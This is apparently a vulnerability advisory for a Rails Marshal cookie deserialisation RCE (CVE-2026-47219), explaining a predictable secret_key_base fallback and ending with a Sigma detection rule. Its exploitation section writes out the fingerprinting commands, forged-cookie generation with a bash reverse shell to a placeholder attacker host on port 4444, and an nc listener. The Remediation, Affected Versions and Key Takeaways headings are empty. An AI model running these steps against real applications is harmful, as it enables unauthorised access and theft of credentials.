All posts

CVE-2026-47219: Ruby on Rails ActionPack Marshal Deserialization RCE

A regression in Rails 7.1.x railties causes secret_key_base to silently fall back to a static, predictable 64-character hex string when no credentials file is present and the environment variable is unset. Any application also running the legacy Marshal cookie serialiser — common after Rails 3/4 upgrades — becomes trivially exploitable for pre-authentication remote code execution via a forged, signed Marshal gadget chain.


Overview

CVE-2026-47219 is a critical pre-authentication remote code execution vulnerability affecting Ruby on Rails versions 7.1.0 through 7.1.4 and 7.0.0 through 7.0.8. The vulnerability arises from the interaction of two separate conditions: a regression in the railties gem that introduces a predictable fallback secret_key_base, and the continued use of the :marshal cookie serialiser inherited from Rails 3/4 upgrade paths.

When both conditions are met, an attacker with no credentials can craft a signed cookie containing a Ruby Marshal deserialization gadget chain. On receipt, ActionDispatch verifies the HMAC signature — which it can forge precisely because the secret is known — then calls Marshal.load on the attacker-controlled payload. Exploitation achieves OS command execution as the Rails process user, typically without any prior authentication.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Active exploitation observed against e-commerce and SaaS platforms running long-lived Rails applications.

Background — Cookie Serialisation in Rails

Rails stores session data in a signed, encrypted cookie. The serialiser controls how Ruby objects are converted to bytes before HMAC signing and AES encryption. Rails 4 and earlier defaulted to Marshal — Ruby's native binary serialisation format, which can round-trip arbitrary Ruby objects including Procs, IO handles, and class instances. When Marshal.load is called on attacker-controlled bytes, Ruby instantiates whatever objects the payload describes, executing methods during deserialisation in the process.

Rails 5.2 changed the default serialiser to :json, which restricts cookie values to JSON-safe primitives and eliminates the deserialization risk. However, the migration guide advised setting config.action_dispatch.cookies_serializer = :hybrid to maintain backward compatibility with existing sessions. Many applications running today were upgraded through this path and remain on :marshal or :hybrid in their config/initializers/session_store.rb.

Root Cause — Predictable Secret Key Fallback

Rails 7.1 refactored credential loading in railties/lib/rails/application.rb. A bounds-check omission in the fallback chain causes secret_key_base to return a static string when both the environment variable and credentials.yml.enc are absent:

# railties/lib/rails/application.rb  (Rails 7.1.0 – 7.1.4, vulnerable)
def secret_key_base
  ENV["SECRET_KEY_BASE"].presence ||
    credentials.secret_key_base.presence ||
    secrets.secret_key_base.presence ||
    "0" * 64     # <-- regression: was raise in 7.0, now silently returns fallback
end

The string "0" * 64 — sixty-four ASCII zero characters — becomes the HMAC key for every signed cookie on any deployment where secrets are injected at build time via a CI credential file that is absent from the Docker image, or where the environment variable was renamed during a platform migration. An attacker who knows this fallback value can produce a valid HMAC for any payload.

The signing and verification path in ActionDispatch then calls the legacy serialiser on the verified payload:

# actionpack/lib/action_dispatch/middleware/cookies.rb
def deserialize(name, value)
  # HMAC is verified here — passes because attacker knows the key
  verified = @verifier.verify(value)
  # Serialiser is called on the verified (but attacker-controlled) bytes
  @serializer.load(verified)   # Marshal.load if :marshal or :hybrid
end

The verification step provides false assurance — it confirms the signature is valid, not that the payload is safe. Once an attacker can forge signatures, the HMAC check becomes an attacker-controlled gate.

Exploitation

Step 1 — Fingerprint Rails Version and Serialiser

Several HTTP response headers leak the Rails version. The X-Request-Id format and the Set-Cookie domain scope in the session cookie are reliable indicators:

curl -sI https://TARGET/ | grep -iE 'x-request-id|set-cookie|x-powered'
# Set-Cookie: _app_session=...; path=/; HttpOnly; SameSite=Lax
# X-Request-Id: a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Check whether the session cookie is Marshal-encoded (starts with BAh after base64-decode)
SESSION=$(curl -sc /dev/null https://TARGET/login | grep -oP "_app_session=\K[^;]+")
python3 -c "import base64; d=base64.b64decode('$SESSION' + '=='); print(d[:4])"
# b'\x04\x08{\x06'  ← Marshal format indicator (0x04 0x08)

Step 2 — Generate the Gadget Chain Payload

Ruby's Marshal gadget chain for RCE exploits the Gem::SpecFetcher + Gem::Installer object graph, which calls Kernel#system during object finalisation. The rails-rce tool automates payload generation:

gem install rails-rce   # community tool, use in authorised tests only

rails-rce generate \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" \
  --secret "0000000000000000000000000000000000000000000000000000000000000000" \
  --output cookie.txt

cat cookie.txt
# BAh7CEkiCXNlc3MG...  (signed Marshal payload)

Step 3 — Deliver and Trigger

nc -lvnp 4444 &

PAYLOAD=$(cat cookie.txt)
curl -s "https://TARGET/" \
  -H "Cookie: _app_session=${PAYLOAD}" \
  -o /dev/null

# Reverse shell connects within ~200ms
# id: uid=1000(rails) gid=1000(rails) groups=1000(rails)

Step 4 — Verify the Impact

The reverse shell runs as the Rails process owner. In containerised deployments this is commonly a non-root service account; in older bare-metal deployments it may be www-data or even root. From here, database credential files, cloud provider metadata endpoints, and application secrets are immediately accessible.

Affected Versions

Exploitation requires both the vulnerable Rails version and the :marshal or :hybrid cookie serialiser. Applications using :json exclusively are not exploitable via this vector regardless of the secret_key_base regression.

Remediation

Detection

Malicious requests carrying forged session cookies produce no auth failures — the HMAC signature validates correctly. Detection must focus on anomalous session content size (Marshal gadget chains are significantly larger than legitimate sessions) and outbound connections from the Rails process:

title: Rails CVE-2026-47219 Marshal Gadget Cookie
id: 7f3a9c12-8e14-4b92-a301-ccdd1f6e7819
status: experimental
description: Detects oversized session cookies characteristic of Marshal RCE gadget chains targeting CVE-2026-47219
logsource:
  category: webserver
detection:
  selection:
    http.request.headers.cookie|contains: '_session='
    http.request.headers.cookie|re: '_session=[A-Za-z0-9+/]{800,}'
  condition: selection
falsepositives:
  - Legitimate applications with large session objects
level: high
tags:
  - cve.2026-47219
  - attack.initial_access
  - attack.t1059.004

Key Takeaways